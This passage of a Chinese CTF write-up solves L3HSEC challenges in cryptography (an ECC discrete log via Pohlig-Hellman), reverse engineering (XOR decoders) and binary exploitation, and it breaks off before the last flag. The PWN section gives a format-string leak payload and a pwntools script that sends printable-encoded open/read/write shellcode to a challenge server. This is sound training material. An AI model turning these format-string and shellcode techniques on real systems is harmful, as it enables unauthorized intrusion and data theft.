print(long_to_bytes(dec(n,g,LAMBDA,c)))
得到flag:L3HSEC{8a7fce52000e9b693c315d39258a213b}
ezecc
原理参照这篇ECC2
首先求b:
求得b=142049469222136951075696377209080640921370274261432456129295338173419592979392060338227
然后定义椭圆曲线,以及P、Q两个点:
# P=(xG,yG) Q=Public_key
P = (61621803131408319635029766825719907867842946540104700557009765261727264962796229094568,90378017679706887143409145158264522897855153307452350004018644435133535912241818885072)
Q = (310437823810844905448242773133403586337899801305811045192960893487704024383375218773605, 304988667194749192663091131350248651649623530747853134775926969946385963577679155080700)
F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)
问题转化为了求l,使得Q=lP,根据提示采用pohlig-hellman算法来求,首先先分解P的阶:
假设p的阶x分解为
将这些因子单独拿出来,计算
如果能得到li的值,那么剩下就可以用中国剩余定理计算
将li设成:
问题转变为了求z,为了计算z,取P0和Q0,其中:
进一步可以推出:
这样就有:
这时候P域上的离散对数分解到了P0域上,求得z0代回原式
此时可继续求z1,但是因为这里我们的factor最高次数为1,所以只用求一次,也就是得到z0即可,这样li也就求出来了,再用中国剩余定理,l的值就得到了
最终的sage代码:
M = 321926610273616650525824108536700279212350866647530622269302809271682737763257560088641
A = 31030867082543847272019450082250517880295729931851175197103022808416739451723625980005
B = 142049469222136951075696377209080640921370274261432456129295338173419592979392060338227
P = (61621803131408319635029766825719907867842946540104700557009765261727264962796229094568,90378017679706887143409145158264522897855153307452350004018644435133535912241818885072)
Q = (310437823810844905448242773133403586337899801305811045192960893487704024383375218773605, 304988667194749192663091131350248651649623530747853134775926969946385963577679155080700)
x, y = P[0], P[1]
b = (y^2 - x^3 - A*x) % M
#print(b)
F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)
print(factor(P.order()))
factors, exponents = zip(*factor(P.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][:-2]
dlogs = []
for fac in primes:
t = int(P.order()) // int(fac)
dlog = discrete_log(t*Q,t*P,operation="+")
dlogs += [dlog]
print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime order
l = crt(dlogs,primes)
print(l)
#8314044453310529150
得到l后,long_to_bytes(l)即可得到flag:sakana~~,套上L3HSEC{},最终的flag为:L3HSEC{sakana~~}
Reverse
f5
ida打开f5.exe,发现分成两部分,第一部分是对输入的arglist做一个简单加密:
然后对比真正的flag值:
因此思路非常简单,获取v5的值,然后异或i再减去33即可得到flag
data = [0x6D, 0x55, 0x6B, 0x77, 0x62, 0x61, 0x9A, 0x62, 0x59, 0x89, 0x90, 0x7B, 0x9A, 0x8D, 0x62, 0x80, 0x80, 0x89,
0x92, 0x99, 0x91, 0x97, 0x96, 0x90, 0x4E, 0x99, 0x5D, 0x62, 0x8C, 0x8E, 0x7E, 0x81]
flag=""
for i in range(len(data)):
flag+=chr((data[i]^i)-33)
print (flag)
得到flag:L3HSEC{D0_yOu_Know_ida_f5_&Xor?}
OldTechonmlogyFileSystem
打开压缩包发现五个文件:flag,simplefs,image,instruction.txt,OtFs和output,看一下instructions:
按照格式运行一遍,发现plantflag将flag加密输入到image中,但是output怎么来的我很困惑,于是shift+f12查看字符串发现有一个copyout:
尝试copyout 134 output,产生了一个输出文件output,这应该是第五个文件的来源,但与此题无关
在IDA中找找有关于加密的地方,发现sub_21b2函数:
函数的作用大概是依次异或v4的BYTE0,BYTE1,BYTE2和HIBYTE,一次取两位,为了解密flag,需要知道v4的值,在这下断点调试一下
运行到这可以发现v4=rax=0xDEEDBEEF
而flag文件给出了flag的格式,L3HSEC{
这个开头不会变,可以利用这个定位加密的位置:
a='L3HSEC{'
for i in a:
x=ord(i)
x = (x >> 1) | (x << 7)&0xff
x ^= 0xef
x = (x >> 2) | (x << 6)&0xff
x ^= 0xbe
x = (x >> 3) | (32 * x)&0xff
x ^= 0xed
x = (x >> 4) | (16 * x)&0xff
x ^= 0xde
x = (x >> 5) | (8 * x)&0xff
print(hex(x))
输出为0xcc、0x32、0xc4、0xf2、0xde、0xd2、0xa2,在image中找到对应位置
最后的EXP:
flag = ''
a = [0xCC, 0x32, 0xC4, 0xF2, 0xDE, 0xD2, 0xA2, 0xC8, 0xBC, 0xD8, 0xB2, 0xC6, 0xB2, 0xC8, 0x9E, 0xBA,
0xFC, 0x9E, 0x92, 0x84, 0x88, 0x8A, 0x8C, 0x8A, 0x9A, 0xA6, 0xF2, 0xA6, 0xB2, 0xAE, 0x40]
for j in range(len(a)):
for i in range(32, 128):
x = i
x = (x >> 1) | (x << 7) & 0xff
x ^= 0xef
x = (x >> 2) | (x << 6) & 0xff
x ^= 0xbe
x = (x >> 3) | (32 * x) & 0xff
x ^= 0xed
x = (x >> 4) | (16 * x) & 0xff
x ^= 0xde
x = (x >> 5) | (8 * x) & 0xff
if (x == a[j]):
flag += chr(i)
print(flag)
得到flag:L3HSEC{NtFsIsNewTechnologySys}
PWN
race_car
运行一下,输入name和nickname,然后会让你选择两辆车中的一辆,拥有不同的数值,分别在Speed和Handling有优势,根据选择的比赛形式选择车,比如highway选择speed数值大的,Circuit选择Handling数值大的,就能够获胜,获胜后会让你发表获奖感言,然后会回显获奖感言,而且根据提示“he grand winner of the race wants the whole world to know this”猜想是格式化字符串泄露内存,ida打开看一下,根据字符串找到获奖感言的位置:
果然发现read+gets这样明显的格式化字符串漏洞,又观察到前面读入了flag.txt,因此本题的思路就是利用格式化字符串漏洞泄露读入到栈上的flag.txt的内容
剩下的就是确认一下位置了,输入几个%p,回显
0x566b91c0/0x170/0x56575dfa/0x29/0x2/0x26/0x2/0x1/0x5657696c/0x566b91c0/0x566b9340/0x41414141/0x41414141/0x41414141/0xea0d000a/0x56576d58/0x56578f8c/0xfffd2888/0x5657638d
可以看到在第十二个位置出现了flag的内容(flag内容为AAAA),因此最后payload为:
%12$x.%13$x.%14$x.%15$x.%16$x.%17$x.%18$x.%19$x.%20$x.%21$x.%22$x.%23$x
得到flag的十六进制存储:
5348334c.327b4345.31653839.2d363336.39373236.6436342d.61382d32.312d6266.34353036.30323033.356465
转为ascii:L3HSEC{298e1636-6279-46d2-8afb-160543020ed5b
转化脚本为:
import binascii
def hexStr_to_str(hex_str):
hex = hex_str.encode('utf-8')
str_bin = binascii.unhexlify(hex)
return str_bin.decode('utf-8')
if __name__ == "__main__":
flag=''
hex_str = '5348334c.327b4345.31653839.2d363336.39373236.6436342d.61382d32.312d6266.34353036.30323033.356465'
strs = hex_str.split(".")
for str in strs:
flag+=hexStr_to_str(str)[::-1]
print(flag)
shellcode
file&checksec一下,有NX保护无canary
ida查看一下,逻辑简单,开了一个可以rwx的页,我们输入一段shellcode,检查是不是可见字符,最后在沙箱中执行它。
明显的ORW,使用ae64编码为可打印字符,payload如下:
from pwn import *
import sys
sys.path.append('/root/Env/ae64')
from ae64 import AE64
mmap_addr=0x36363000
p = remote('ctf.l3hsec.com', 40022)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
payload = b''
payload += asm(shellcraft.open("/flag"))
payload += asm(shellcraft.read(3,mmap_addr,0x2c))
payload += asm(shellcraft.write(1,mmap_addr,0x2c))
ae86 = AE64()
# 把rdx的值写入buf
payload = ae86.encode(payload, 'rdx')
p.sendline(payload)
p.recv()
最后得到flag: